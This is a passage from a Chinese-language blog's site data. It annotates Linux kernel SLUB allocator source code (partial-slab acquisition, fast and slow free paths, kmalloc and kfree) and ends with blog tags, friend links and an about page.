*freelist; struct kmem_cache_cpu *c = *pc; struct page *page; WARN_ON_ONCE(s->ctor && (flags & __GFP_ZERO)); // 调用 get_partial 从 node slab 中获取空闲对象 freelist = get_partial(s, flags, node, c); if (freelist) return freelist; // 没有则从 Buddy System 获取新的 slab 作为 cpu slab page = new_slab(s, flags, node); if (page) { c = raw_cpu_ptr(s->cpu_slab); if (c->page) flush_slab(s, c); freelist = page->freelist; page->freelist = NULL; stat(s, ALLOC_SLAB); c->page = page; *pc = c; } return freelist;} 调用 get_partial 从 node slab 中尝试获取空闲对象,如果有则直接返回 调用 new_slab 向 Buddy System 申请新的 slab 作为 cpu slab 返回获取的空闲对象 get_patial & get_partial_node从 kmem_cache_node 获取空闲对象的核心函数 mm/slub.c123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566static void *get_partial(struct kmem_cache *s, gfp_t flags, int node, struct kmem_cache_cpu *c){ void *object; int searchnode = node; if (node == NUMA_NO_NODE) searchnode = numa_mem_id(); // 不出意外就是调用 get_partial_node 获取空闲对象 object = get_partial_node(s, get_node(s, searchnode), c, flags); if (object || node != NUMA_NO_NODE) return object; // 还没有就从别的 node 的 node slab 里取 // 但是一般计算机只有一个 node,所以会直接返回 NULL return get_any_partial(s, flags, c);}static void *get_partial_node(struct kmem_cache *s, struct kmem_cache_node *n, struct kmem_cache_cpu *c, gfp_t flags){ struct page *page, *page2; void *object = NULL; unsigned int available = 0; int objects; // 检查是否有 node slab,没有就返回 if (!n || !n->nr_partial) return NULL; spin_lock(&n->list_lock); // 安全遍历 node slab,中途可以将 page 脱链 list_for_each_entry_safe(page, page2, &n->partial, slab_list) { void *t; if (!pfmemalloc_match(page, flags)) continue; // 获取 slab 的 freelist 和空闲对象数量(objects) t = acquire_slab(s, n, page, object == NULL, &objects); if (!t) // 该 slab 没有 freelist 则跳过,可能被其他线程抢走,一般不会有这种情况 continue; // 计算获取的空闲对象总数 available += objects; if (!object) { // 第一遍 slab 作为 cpu slab c->page = page; stat(s, ALLOC_FROM_PARTIAL); object = t; } else { // 后面则放入 cpu partial slab put_cpu_partial(s, page, 0); stat(s, CPU_PARTIAL_NODE); } if (!kmem_cache_has_cpu_partial(s) || available > slub_cpu_partial(s) / 2) // 如果获取的空闲对象总数超过限制的一半,则不再放入 cpu partial slab break; } spin_unlock(&n->list_lock); return object;} 检查该 node 是否有 node slab,没有则直接返回 NULL 从头到尾遍历 node slab 计算获取的空闲对象总数 如果是第一遍,将该 slab 作为 cpu slab 如果是第二遍以上,将该 slab 放入 cpu partial slab 直到空闲对象总数超过限制的一半 返回 cpu slab 的 freelist acquire_slabmm/slub.c1234567891011121314151617181920212223242526272829303132333435363738394041static inline void *acquire_slab(struct kmem_cache *s, struct kmem_cache_node *n, struct page *page, int mode, int *objects){ void *freelist; unsigned long counters; struct page new; lockdep_assert_held(&n->list_lock); freelist = page->freelist; counters = page->counters; new.counters = counters; // 计算空闲对象的数量 *objects = new.objects - new.inuse; if (mode) { // 分配为 cpu slab new.inuse = page->objects; new.freelist = NULL; } else { // 分配为 cpu partial slab new.freelist = freelist; } VM_BUG_ON(new.frozen); // 冻结,将该 slab 绑定到 CPU new.frozen = 1; // 原子操作 // page->freelist = new.freelist, page->counters = new.counters if (!__cmpxchg_double_slab(s, page, freelist, counters, new.freelist, new.counters, "acquire_slab")) return NULL; // 脱链 remove_partial(n, page); WARN_ON(!freelist); return freelist;} 计算空闲对象的数量 如果要分配为 cpu slab,设置 inuse 为总对象数量,freelist 设为 NULL 如果要分配为 cpu partial slab,不做变化 冻结,将该 slab 绑定到 CPU 将该 slab 从 node slab 中脱链 返回获取到的 freelist #todo 对象分配函数调用关系图 kmem_cache_node每个 node 的后备内存池 当 CPU 的独占内存池耗尽后,便会尝试从 kmem_cache_node 中尝试分配 mm/slab.h123456789101112131415161718struct kmem_cache_node { spinlock_t list_lock;#ifdef CONFIG_SLAB // ...#endif#ifdef CONFIG_SLUB unsigned long nr_partial; struct list_head partial;#ifdef CONFIG_SLUB_DEBUG atomic_long_t nr_slabs; atomic_long_t total_objects; struct list_head full;#endif#endif}; list_lock:保护 partial 和 full 链表的锁 partial:双向链表,连接有部分空闲对象的 slab,这里简称为 node slab nr_partial:partial slab 的数量 nr_slabs:总的 slab 数量 total_objects:总的对象数量 full:双向链表,连内存完全耗尽的 slab,一般用不到 #todo kmem_cache_node 与 slab 的联系 对象释放do_slab_free上层接口最终都会调用 do_slab_free 函数来完成内存释放 struct kmem_cache *s:当前 kmem_cache struct page *page:被释放的对象所在的 page void *head:被释放的第一个对象 void *tail:被释放的最后一个对象 int cnt:被释放的对象的个数 unsigned long addr:开启 SLAB_DEBUG_FLAGS 后使用,一般不会使用 mm/slub.c1234567891011121314151617181920212223242526272829303132333435363738394041424344static __always_inline void do_slab_free(struct kmem_cache *s, struct page *page, void *head, void *tail, int cnt, unsigned long addr){ void *tail_obj = tail ? : head; struct kmem_cache_cpu *c; unsigned long tid; memcg_slab_free_hook(s, &head, 1);redo: // 确定当前的 cpu slab do { tid = this_cpu_read(s->cpu_slab->tid); c = raw_cpu_ptr(s->cpu_slab); } while (IS_ENABLED(CONFIG_PREEMPTION) && unlikely(tid != READ_ONCE(c->tid))); barrier(); // 判断释放的对象是否属于 cpu slab if (likely(page == c->page)) { // 如果属于,则直接放回 kmem_cache_cpu->freelist 中,遵循 FILO void **freelist = READ_ONCE(c->freelist); // 将被释放的最后一个对象接上原 freelist 指向的对象 set_freepointer(s, tail_obj, freelist); // cpu_slab->freelist = head, cpu_slab->tid = next_tid(tid) if (unlikely(!this_cpu_cmpxchg_double( s->cpu_slab->freelist, s->cpu_slab->tid, freelist, tid, head, next_tid(tid)))) { note_cmpxchg_failure("slab_free", s, tid); goto redo; } stat(s, FREE_FASTPATH); } else // 否则调用 __slab_free 函数进入慢释放 __slab_free(s, page, head, tail_obj, cnt, addr);} 判断释放的对象是否属于 cpu slab 如果属于,进入快释放,将释放对象插入 kmem_cache_cpu->freelist 链表头 如果不属于,调用 __slab_free 函数进入慢释放 __slab_freemm/slub.c12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697static void __slab_free(struct kmem_cache *s, struct page *page, void *head, void *tail, int cnt, unsigned long addr){ void *prior; int was_frozen; struct page new; unsigned long counters; struct kmem_cache_node *n = NULL; unsigned long flags; stat(s, FREE_SLOWPATH); if (kmem_cache_debug(s) && !free_debug_processing(s, page, head, tail, cnt, addr)) return; do { // 一般此循环就走一次 if (unlikely(n)) { spin_unlock_irqrestore(&n->list_lock, flags); n = NULL; } prior = page->freelist; counters = page->counters; // 插入 page->freelist 链表头 set_freepointer(s, tail, prior); new.counters = counters; was_frozen = new.frozen; // 计算释放后正在使用对象的数量 new.inuse -= cnt; if ((!new.inuse || !prior) && !was_frozen) { // 如果页面为 empty slab 或此前为 full slab 且没有被绑定到 CPU if (kmem_cache_has_cpu_partial(s) && !prior) { // 如果开启 CONFIG_SLUB_CPU_PARTIAL 配置且此前为 full slab // 将其放入 cpu partial slab 中 new.frozen = 1; } else { // 否则放入 node slab 中 n = get_node(s, page_to_nid(page)); spin_lock_irqsave(&n->list_lock, flags); } } // page->freelist = head, page->counters = new.counters } while (!cmpxchg_double_slab(s, page, prior, counters, head, new.counters, "__slab_free")); if (likely(!n)) { // 如果不放入 node slab 中 if (likely(was_frozen)) { stat(s, FREE_FROZEN); } else if (new.frozen) { // 放入 cpu partial slab 中 put_cpu_partial(s, page, 1); stat(s, CPU_PARTIAL_FREE); } // 直接返回 return; } if (unlikely(!new.inuse && n->nr_partial >= s->min_partial)) // 如果为 empty slab 且 node slab 足够多 // 就跳转到 slab_empty,最终会释放给 Buddy System goto slab_empty; if (!kmem_cache_has_cpu_partial(s) && unlikely(!prior)) { // 如果没有开启 CONFIG_SLUB_CPU_PARTIAL 配置且此前为 full slab // 则放入 node slab 链表尾 remove_full(s, n, page); add_partial(n, page, DEACTIVATE_TO_TAIL); stat(s, FREE_ADD_PARTIAL); } spin_unlock_irqrestore(&n->list_lock, flags); return;slab_empty: if (prior) { // 如果之前有空闲对象,说明该 slab 在 node slab 上,移走 remove_partial(n, page); stat(s, FREE_REMOVE_PARTIAL); } else { // 否则说明在 kmem_cache_node->full 链表上,移走 remove_full(s, n, page); } spin_unlock_irqrestore(&n->list_lock, flags); stat(s, FREE_SLAB); // 归还给 Buddy System discard_slab(s, page);} 将被释放对象插入 page->freelist 中 计算释放后正在使用的对象数量 如果该 slab 释放前为 full slab,则绑定到 CPU,放入 cpu partial slab 中 如果该 slab 释放前为 full slab,且没有开启 CONFIG_SLUB_CPU_PARTIAL,则放入 node slab 如果该 slab 释放后为 empty slab 且 node slab 足够多,则释放给 Buddy System 其他情况表明该 slab 已经位于 cpu partial slab 或 node slab 中,保持不变 总结 分配: 首先从 kmem_cache_cpu 上的 cpu slab 取对象,若有则直接返回 若 cpu slab 已经无空闲对象了,该 slab 会被加入到 kmem_cache_node->full 链表 尝试从 kmem_cache_cpu 上的 cpu partial slab 链表上取 slab,并作为 cpu slab 若 cpu partial slab 链表为空,则从 kmem_cache_node 上的 node slab 取若干个 slab 放到 kmem_cache_cpu 的 cpu slab 和 cpu partial slab 上,然后再取出空闲对象返回 若 node slab 链表也空了,那就向 Buddy Bystem 请求分配新的页面,划分为多个 object 之后再给到 kmem_cache_cpu,取空闲对象返回上层调用 释放: 若被释放 object 属于 kmem_cache_cpu 的 slab,直接使用头插法插入当前 CPU slub 的 freelist 若被释放 object 属于 kmem_cache_node 的 node slab,直接使用头插法插入对应 slub 的 freelist 若被释放 object 属于 kmem_cache_node 的 full slab,则其会成为对应 slab 的 freelist 头节点,且该 slab 会从 full 链表迁移到 cpu partial slab(优先) 或 node slab Kmallockmalloc 实际上属于 Slab 的最上层接口函数,但是它在使用时会根据情况直接调用 Buddy System 函数,因此单独拿出来写 kmallockmalloc 是内核中常用的分配内存的函数 size_t size:申请的内存大小 gfp_t:分配标志位 include/linux/slab.h123456789101112131415161718192021222324static __always_inline void *kmalloc(size_t size, gfp_t flags){ if (__builtin_constant_p(size)) { // 如果大小在编译时已知 unsigned int index; if (size > KMALLOC_MAX_CACHE_SIZE) // 如果大小较大,调用 kmalloc_large,会直接向 Buddy System 申请内存 return kmalloc_large(size, flags); // 获取下标 index = kmalloc_index(size); if (!index) return ZERO_SIZE_PTR; // 直接从 kmalloc_caches 中获取对应的 kmem_cache // 最终会调用 slab_alloc_node 分配内存 return kmem_cache_alloc_trace( // kmalloc_type 会根据分配标志获取对应的 kmem_cache 类型 kmalloc_caches[kmalloc_type(flags)][index], flags, size); } // 否则调用 __kmalloc 动态分配内存 return __kmalloc(size, flags);} 如果申请大小在编译时已知 如果大小大于 kmem_cache 中对象的最大大小,则调用 kmalloc_large 直接向 Buddy System 申请整个页面 否则,调用 kmalloc_index 计算对应大小的下标 调用 kmalloc_type 获取对应的 kmem_cache 类型 通过来类型和下标在 kmalloc_caches 中获取对应的 kmem_cache 调用 kmem_cache_alloc_trace 申请内存 否则调用 __kmalloc 动态分配内存 __kmallocmm/slub.c12345678910111213141516171819202122232425void *__kmalloc(size_t size, gfp_t flags){ struct kmem_cache *s; void *ret; if (unlikely(size > KMALLOC_MAX_CACHE_SIZE)) // 如果大小大于 kmem_cache 中对象的最大大小 // 调用 kmalloc_large 直接向 Buddy System 申请整个页面 return kmalloc_large(size, flags); // 先调用 kmalloc_slab 获取对应的 kmem_cache s = kmalloc_slab(size, flags); if (unlikely(ZERO_OR_NULL_PTR(s))) return s; // 调用 slab_alloc->slab_alloc_node 进行内存分配 ret = slab_alloc(s, flags, _RET_IP_); trace_kmalloc(_RET_IP_, ret, size, s->size, flags); ret = kasan_kmalloc(s, ret, size, flags); return ret;} 如果大小大于 kmem_cache 中对象的最大大小,则调用 kmalloc_large 直接向 Buddy System 申请整个页面 否则,调用 kmalloc_slab 获取对应的 kmem_cache 调用 slab_alloc->slab_alloc_node 进行内存分配 kfree const void *x:释放的内存首地址 mm/slub.c1234567891011121314151617181920212223242526272829void kfree(const void *x){ struct page *page; void *object = (void *)x; trace_kfree(_RET_IP_, x); if (unlikely(ZERO_OR_NULL_PTR(x))) return; // 将 x 转换为对应的 page 结构体地址 page = virt_to_head_page(x); // 检查是否是一张 slab if (unlikely(!PageSlab(page))) { // 若不是,则为一整个页面,获取页面的阶 unsigned int order = compound_order(page); BUG_ON(!PageCompound(page)); kfree_hook(object); mod_node_page_state(page_pgdat(page), NR_SLAB_UNRECLAIMABLE_B, -(PAGE_SIZE << order)); // 直接释放给 Buddy System __free_pages(page, order); return; } // 若该页面是一张 slab,调用 slab_free->do_slab_free 进行内存释放 slab_free(page->slab_cache, page, object, NULL, 1, _RET_IP_);} 将被释放的内存首地址转换为对应页面的第一个 page 结构体地址 检查该页面是否为一张 slab 若不是,则获取页面的阶,释放给 Buddy System 若是,则调用 slab_free->do_slab_free 进行内存释放 参考链接【OS.0x02】Linux 内核内存管理I - 页、区、节点 【OS.0x03】Linux内核内存管理II - Buddy System 【OS.0x04】Linux Kernel 内存管理浅析 III - Slub Allocator linux内存管理(一)-内存管理架构","link":"/2023/09/17/Linux%20Kernel%20%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86/"}],"tags":[{"name":"FILE","slug":"FILE","link":"/tags/FILE/"},{"name":"Tools","slug":"Tools","link":"/tags/Tools/"},{"name":"Linux Kernel","slug":"Linux-Kernel","link":"/tags/Linux-Kernel/"},{"name":"Operating System","slug":"Operating-System","link":"/tags/Operating-System/"},{"name":"RISC-V","slug":"RISC-V","link":"/tags/RISC-V/"},{"name":"Xv6","slug":"Xv6","link":"/tags/Xv6/"},{"name":"Musl libc","slug":"Musl-libc","link":"/tags/Musl-libc/"},{"name":"Rust","slug":"Rust","link":"/tags/Rust/"},{"name":"Qemu","slug":"Qemu","link":"/tags/Qemu/"},{"name":"Memory Management","slug":"Memory-Management","link":"/tags/Memory-Management/"}],"categories":[{"name":"Month Report","slug":"Month-Report","link":"/categories/Month-Report/"},{"name":"Pwn","slug":"Pwn","link":"/categories/Pwn/"},{"name":"Course","slug":"Course","link":"/categories/Course/"},{"name":"Programming","slug":"Programming","link":"/categories/Programming/"},{"name":"MIT 6.1810 2022 Fall","slug":"Course/MIT-6-1810-2022-Fall","link":"/categories/Course/MIT-6-1810-2022-Fall/"},{"name":"Virtualization","slug":"Virtualization","link":"/categories/Virtualization/"},{"name":"Computer Science","slug":"Computer-Science","link":"/categories/Computer-Science/"}],"pages":[{"title":"","text":"{\"Scardow\":{\"url\":\"https://scardow.cn\",\"img\":\"https://github.com/Scardow/scardow.github.io/blob/main/images/images.png\",\"text\":\"火乐大佬\"},\"Asiv\":{\"url\":\"https://niceasiv.cn\",\"img\":\"https://niceasiv.cn/sysimg/head.jpg\",\"text\":\"我滴阿西!\"},\"Wings\":{\"url\":\"https://blog.wingszeng.top\",\"img\":\"https://blog.wingszeng.top/img/avatar.gif\",\"text\":\"巨佬老乡 Wings gg\"},\"Arttnba3\":{\"url\":\"https://arttnba3.cn\",\"img\":\"https://arttnba3.cn/img/avatars/avatar.png\",\"text\":\"Pwner, kernelの神\"},\"Eqqie\":{\"url\":\"https://\",\"img\":\"https://eqqie.cn/usr/uploads/2021/08/1035745416.jpg\",\"text\":\"Pwner, 全栈の神\"}}","link":"/links.json"},{"title":"","text":"{\"Scardow\":{\"url\":\"https://scardow.cn\",\"img\":\"https://scardow.github.io/blob/main/images/images.png\",\"text\":\"火乐大佬\"},\"Asiv\":{\"url\":\"https://niceasiv.cn\",\"img\":\"https://niceasiv.cn/sysimg/head.jpg\",\"text\":\"我滴阿西!\"},\"Wings\":{\"url\":\"https://blog.wingszeng.top\",\"img\":\"https://blog.wingszeng.top/img/avatar.gif\",\"text\":\"巨佬老乡 Wings gg\"},\"Arttnba3\":{\"url\":\"https://arttnba3.cn\",\"img\":\"https://arttnba3.cn/img/avatars/avatar.png\",\"text\":\"Pwner, kernelの神\"},\"Eqqie\":{\"url\":\"https://\",\"img\":\"https://eqqie.cn/usr/uploads/2021/08/1035745416.jpg\",\"text\":\"Pwner, 全栈の神\"}}","link":"/links.json"},{"title":"","text":"欢迎来到我的博客这是我搭建的第一个博客,功能还不完全,我会陆续更新、完善它(尽量不咕) 自我介绍Humoooor 20 岁 懒人一个 目前就读于西安某高校 这个博客的作用记录我的技术学习、日常生活 对我的文章有想法,或者想和我交流可以在文章下面评论,或者给我发邮件(可能不会那么及时回复) 想要及时联系的话,欢迎联系侧边栏的邮箱与我深入♂交流。 同时也欢迎交换友链QAQ","link":"/about/index.html"},{"title":"Friends","text":"Scardow:Pwner 火乐! Wings:巨佬老乡,Wings gg Asiv:我滴阿西! Arttnba3:Pwner 内核の神 Eqqie:Pwner 全栈の神","link":"/friends/index.html"}]}